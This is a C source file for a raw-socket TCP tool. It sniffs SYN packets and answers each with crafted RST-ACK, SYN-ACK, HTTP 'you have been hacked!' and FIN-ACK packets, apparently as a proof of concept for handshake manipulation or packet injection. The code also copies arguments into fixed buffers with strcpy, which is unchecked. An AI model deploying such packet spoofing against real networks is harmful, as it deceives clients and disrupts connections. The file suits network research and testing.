/rst_server.c: -------------------------------------------------------------------------------- 1 | #include "server.h" 2 | 3 | #define DATA "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: 21\r\n\r\nyou have been hacked!" 4 | 5 | pcap_t* pd; 6 | int sock = 0, one = 1; 7 | int sender_port = 0; 8 | int debug_output = 0; 9 | int send_ack = 0; 10 | 11 | void parse_packet(u_char *user, struct pcap_pkthdr *packethdr, 12 | u_char *packetptr) 13 | { 14 | struct ip* iphdr; 15 | struct tcphdr* tcphdr; 16 | char iphdrInfo[256], srcip[256], dstip[256]; 17 | 18 | int bytes; 19 | struct iphdr *ipHdr; 20 | struct tcphdr *tcpHdr; 21 | char *data; 22 | char rstack_packet[2048]; 23 | char synack_packet[2048]; 24 | char pshack_packet[2048]; 25 | char finack_packet[2048]; 26 | char ack_packet[2048]; 27 | struct sockaddr_in addr_in; 28 | int seq_number; 29 | 30 | // Skip the datalink layer header and get the IP header fields. 31 | packetptr += linkhdrlen; 32 | iphdr = (struct ip*)packetptr; 33 | strcpy(srcip, inet_ntoa(iphdr->ip_src)); 34 | strcpy(dstip, inet_ntoa(iphdr->ip_dst)); 35 | sprintf(iphdrInfo, "ID:%d TOS:0x%x, TTL:%d IpLen:%d DgLen:%d", 36 | ntohs(iphdr->ip_id), iphdr->ip_tos, iphdr->ip_ttl, 37 | 4*iphdr->ip_hl, ntohs(iphdr->ip_len)); 38 | 39 | // Advance to the transport layer header then parse and display 40 | // the fields based on the type of hearder: tcp, udp or icmp. 41 | packetptr += 4*iphdr->ip_hl; 42 | if (iphdr->ip_p == IPPROTO_TCP ) 43 | { 44 | tcphdr = (struct tcphdr*)packetptr; 45 | 46 | addr_in.sin_family = AF_INET; 47 | addr_in.sin_port = tcphdr->source; 48 | addr_in.sin_addr.s_addr = iphdr->ip_src.s_addr; 49 | 50 | if (debug_output) 51 | { 52 | printf("[*] TCP %s:%d -> %s:%d\t", srcip, ntohs(tcphdr->source), dstip, ntohs(tcphdr->dest)); 53 | printf( "%c%c%c%c%c%c Seq: 0x%x Ack: 0x%x Win: 0x%x TcpLen: %d\n", 54 | (tcphdr->urg ? 'U' : '*'), (tcphdr->ack ? 'A' : '*'), 55 | (tcphdr->psh ? 'P' : '*'), (tcphdr->rst ? 'R' : '*'), 56 | (tcphdr->syn ? 'S' : '*'), (tcphdr->fin ? 'F' : '*'), 57 | ntohl(tcphdr->seq), ntohl(tcphdr->ack_seq), ntohs(tcphdr->window), 4*tcphdr->doff 58 | ); 59 | } 60 | 61 | sender_port = ntohs(tcphdr->source); 62 | seq_number = rand(); 63 | 64 | memset(rstack_packet, 0, sizeof(rstack_packet)); 65 | memset(synack_packet, 0, sizeof(synack_packet)); 66 | memset(pshack_packet, 0, sizeof(pshack_packet)); 67 | memset(finack_packet, 0, sizeof(finack_packet)); 68 | memset(ack_packet, 0, sizeof(ack_packet)); 69 | 70 | ipHdr = (struct iphdr *) rstack_packet; 71 | tcpHdr = (struct tcphdr *) (rstack_packet + sizeof(struct iphdr)); 72 | 73 | // Preparing RST-ACK packet 74 | ipHdr->ihl = 5; 75 | ipHdr->version = 4; 76 | ipHdr->tos = 0; 77 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 78 | ipHdr->id = htons(rand()); 79 | ipHdr->frag_off = 0x00; 80 | ipHdr->ttl = 0xFF; 81 | ipHdr->protocol = IPPROTO_TCP; 82 | ipHdr->check = 0; 83 | ipHdr->saddr = iphdr->ip_dst.s_addr; 84 | ipHdr->daddr = iphdr->ip_src.s_addr; 85 | 86 | ipHdr->check = csum((unsigned short *) rstack_packet, ipHdr->tot_len); 87 | 88 | tcpHdr->source = tcphdr->dest; 89 | tcpHdr->dest = tcphdr->source; 90 | tcpHdr->seq = htonl(0); 91 | tcpHdr->ack_seq = htonl(ntohl(tcphdr->seq) + 1); 92 | tcpHdr->doff = 5; 93 | tcpHdr->res1 = 0; 94 | tcpHdr->cwr = 0; 95 | tcpHdr->ece = 0; 96 | tcpHdr->urg = 0; 97 | tcpHdr->ack = 1; 98 | tcpHdr->psh = 0; 99 | tcpHdr->rst = 1; 100 | tcpHdr->syn = 0; 101 | tcpHdr->fin = 0; 102 | tcpHdr->window = htons(15500); 103 | tcpHdr->check = 0; 104 | tcpHdr->urg_ptr = 0; 105 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 106 | 107 | // Preparing SYN-ACK packet 108 | memcpy(synack_packet, rstack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); 109 | ipHdr = (struct iphdr *) synack_packet; 110 | tcpHdr = (struct tcphdr *) (synack_packet + sizeof(struct iphdr)); 111 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 112 | tcpHdr->seq = htonl(seq_number); 113 | seq_number += 1; // Increment seq number 114 | tcpHdr->syn = 1; 115 | tcpHdr->rst = 0; 116 | tcpHdr->check = 0x0; 117 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 118 | 119 | // Preparing DATA packet 120 | memcpy(pshack_packet, synack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); 121 | ipHdr = (struct iphdr *) pshack_packet; 122 | tcpHdr = (struct tcphdr *) (pshack_packet + sizeof(struct iphdr)); 123 | data = (char *) (pshack_packet + sizeof(struct iphdr) + sizeof(struct tcphdr)); 124 | strcpy(data, DATA); 125 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data); 126 | tcpHdr->seq = htonl(seq_number); 127 | seq_number += strlen(data);// Increment seq number 128 | tcpHdr->syn = 0; 129 | tcpHdr->psh = 1; 130 | tcpHdr->check = 0x0; 131 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr) + strlen(data), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 132 | 133 | // Preparing FIN packet 134 | memcpy(finack_packet, pshack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data)); 135 | ipHdr = (struct iphdr *) finack_packet; 136 | tcpHdr = (struct tcphdr *) (finack_packet + sizeof(struct iphdr)); 137 | tcpHdr->seq = htonl(seq_number); 138 | seq_number += 1; // Increment seq number 139 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 140 | tcpHdr->fin = 1; 141 | tcpHdr->psh = 0; 142 | tcpHdr->check = 0x0; 143 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 144 | 145 | // Preparing ACK packet 146 | memcpy(ack_packet, synack_packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); 147 | ipHdr = (struct iphdr *) ack_packet; 148 | tcpHdr = (struct tcphdr *) (ack_packet + sizeof(struct iphdr)); 149 | tcpHdr->seq = tcphdr->ack_seq; 150 | tcpHdr->ack_seq = htonl(ntohl(tcphdr->seq) + 1); 151 | if (strlen((char*) tcphdr + 4*tcphdr->doff) > 0) 152 | tcpHdr->ack_seq = htonl(ntohl(tcpHdr->ack_seq) - 1 + strlen((char*) tcphdr + 4*tcphdr->doff)); 153 | ipHdr->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); 154 | tcpHdr->ack = 1; 155 | tcpHdr->psh = 0; 156 | tcpHdr->rst = 0; 157 | tcpHdr->syn = 0; 158 | tcpHdr->fin = 0; 159 | tcpHdr->check = 0x0; 160 | tcpHdr->check = tcp_checksum(tcpHdr, sizeof(struct tcphdr), iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr); 161 | 162 | if (tcphdr->syn && !tcphdr->ack ) 163 | { 164 | printf("[+] Incoming connection from <%s:%d>\n\t", srcip, ntohs(tcphdr->source)); 165 | ipHdr = (struct iphdr *) rstack_packet; 166 | if((bytes = sendto(sock, rstack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 167 | perror("Error on sendto()"); 168 | else { 169 | printf("[+] [%s:%d] Sending RST-ACK\n", srcip, ntohs(tcphdr->source)); 170 | } 171 | ipHdr = (struct iphdr *) synack_packet; 172 | if((bytes = sendto(sock, synack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 173 | perror("Error on sendto()"); 174 | else { 175 | printf("\t[+] [%s:%d] Sending SYN-ACK\n", srcip, ntohs(tcphdr->source)); 176 | } 177 | usleep(200000); 178 | ipHdr = (struct iphdr *) pshack_packet; 179 | if((bytes = sendto(sock, pshack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 180 | perror("Error on sendto()"); 181 | else { 182 | printf("\t[+] [%s:%d] Sending HTTP response data\n", srcip, ntohs(tcphdr->source)); 183 | } 184 | ipHdr = (struct iphdr *) finack_packet; 185 | if((bytes = sendto(sock, finack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 186 | perror("Error on sendto()"); 187 | else { 188 | printf("\t[+] [%s:%d] Closing connection. Sending FIN-ACK\n", srcip, ntohs(tcphdr->source)); 189 | } 190 | } 191 | else if (tcphdr->ack && (tcphdr->psh || tcphdr->fin) && send_ack) 192 | { 193 | ipHdr = (struct iphdr *) ack_packet; 194 | if((bytes = sendto(sock, ack_packet, ipHdr->tot_len, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) 195 | perror("Error on sendto()"); 196 | else 197 | printf("[+] ACKing to [%s:%d]\n", srcip, ntohs(tcphdr->source)); 198 | } 199 | } 200 | } 201 | 202 | 203 | int main(int argc, char **argv) 204 | { 205 | char help[256] = ""; 206 | char interface[256] = "", bpfstr[256] = "", port[256] = ""; 207 | int c; 208 | 209 | sprintf(help, "usage: %s -i -p [-d] [-a]\n\t-d\tenable debug output\n\t-a\tsend ACK packet to every incoming data packet\n\n", argv[0]); 210 | 211 | if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 212 | perror("Error while creating socket"); 213 | exit(-1); 214 | } 215 | 216 | if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { 217 | perror("Error while setting socket options"); 218 | exit(-1); 219 | } 220 | 221 | while ((c = getopt (argc, argv, "hadi:p:")) != -1) 222 | { 223 | switch (c) 224 | { 225 | case 'i': 226 | strcpy(interface, optarg); 227 | break; 228 | case 'p': 229 | strcpy(port, optarg); 230 | break; 231 | case 'd': 232 | debug_output = 1; 233 | break; 234 | case 'a': 235 | send_ack = 1; 236 | break; 237 | case 'h': 238 | default: 239 | printf("%s", help); 240 | exit(0); 241 | break; 242 | } 243 | } 244 | 245 | if (atoi(port) < 1 || atoi(port) > 65535 || interface[0] == 0x0) 246 | { 247 | printf("%s", help); 248 | exit(0); 249 | } 250 | 251 | strcat(bpfstr, "tcp and dst port "); 252 | strcat(bpfstr, port); 253 | 254 | if ((pd = open_pcap_socket(interface, bpfstr))) 255 | { 256 | capture_loop(pd, 0, (pcap_handler)parse_packet); 257 | } 258 | exit(0); 259 | } 260 | --------------------------------------------------------------------------------